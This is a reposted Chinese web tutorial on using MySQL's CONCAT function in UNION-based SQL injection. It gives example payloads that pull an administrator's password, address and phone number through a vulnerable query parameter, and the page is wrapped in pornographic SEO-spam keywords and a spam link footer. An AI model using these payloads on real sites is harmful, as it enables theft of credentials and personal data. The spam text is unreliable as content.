国产探花免费观看_亚洲丰满少妇自慰呻吟_97日韩有码在线_资源在线日韩欧美_一区二区精品毛片,辰东完美世界有声小说,欢乐颂第一季,yy玄幻小说排行榜完本

首頁 > 數據庫 > MySQL > 正文

Mysql數據庫使用concat函數執行SQL注入查詢

2024-07-24 13:06:57
字體:
來源:轉載
供稿:網友
這篇文章主要介紹了Mysql數據庫使用concat函數執行SQL注入查詢,concat函數在SQL注入查詢中會有意想不到的作用,本文就起講解它的使用,需要的朋友可以參考下
 

SQL注入語句有時候會使用替換查詢技術,就是讓原有的查詢語句查不到結果出錯,而讓自己構造的查詢語句執行,并把執行結果代替原有查詢語句查詢結果顯示出來。

例如:原本查詢語句是

復制代碼代碼如下:

select username,email,content from test_table where user_id=uid;

其中uid,是用戶輸入的。正常顯示結果會出現用戶名,用戶郵箱,用戶留言內容。但是如果uid過濾不嚴,我們可以構造如下SQL語句來獲得任意數據表信息。
復制代碼代碼如下:

uid=-1 union select username ,password,content from test_talbe where user_id=管理員id;

實際執行就是
復制代碼代碼如下:

select username,email,content from test_table where user_id=-1 union select username ,password,content from test_talbe where user_id=管理員id;

其中顯示正常用戶emai的地方,變成了顯示管理員的密碼了。

 

但是,往往事情并不是這么簡單,首先要找到漏洞,其次構造這種語句時候要考慮各個字段的類型,讓int或samllint類型的字段顯示varchar顯然不合適。最后就是本文要說的。

如果出現問題的SQL語句只有一個或兩個字段怎么辦,我們想知道很多東西,一兩個字段太少了,遠遠不能滿足我們的需要。那么我們可以使用concat函數。

concat函數本來是這樣用的SELECT CONCAT('My', 'S', 'QL');執行結果是'MySQL'。也就是連接作用的。我們利用它來為我們服務,

復制代碼代碼如下:

uid=-1 union select username ,concat(password,sex,address,telephone),content from test_talbe where user_id=管理員id;

這個語句實際查詢了六個字段,但是顯示的時候,把password,sex,address,telephone等字段合在一起,顯示在原本應該顯示email的地方。

 

更好的方法:中間用分隔符分開:

復制代碼代碼如下:

uid=-1 union select username ,concat(password,0×3a,sex,0×3a,address,0×3a,telephone) ,content from test_talbe where user_id=管理員id;

其中0×3a是“:”的十六進 制形式。

發表評論 共有條評論
用戶名: 密碼:
驗證碼: 匿名發表
主站蜘蛛池模板: 银川市| 辽阳市| 和平区| 陈巴尔虎旗| 美姑县| 肇州县| 扎囊县| 武隆县| 新邵县| 昭觉县| 静安区| 昌乐县| 汉川市| 阿勒泰市| 光泽县| 松桃| 秦皇岛市| 五指山市| 普定县| 赤峰市| 望奎县| 嘉善县| 辽阳县| 黔江区| 武鸣县| 利辛县| 黔南| 武隆县| 沈阳市| 苗栗市| 垦利县| 谷城县| 平阴县| 南岸区| 正安县| 伊春市| 调兵山市| 蛟河市| 天气| 鹰潭市| 齐齐哈尔市|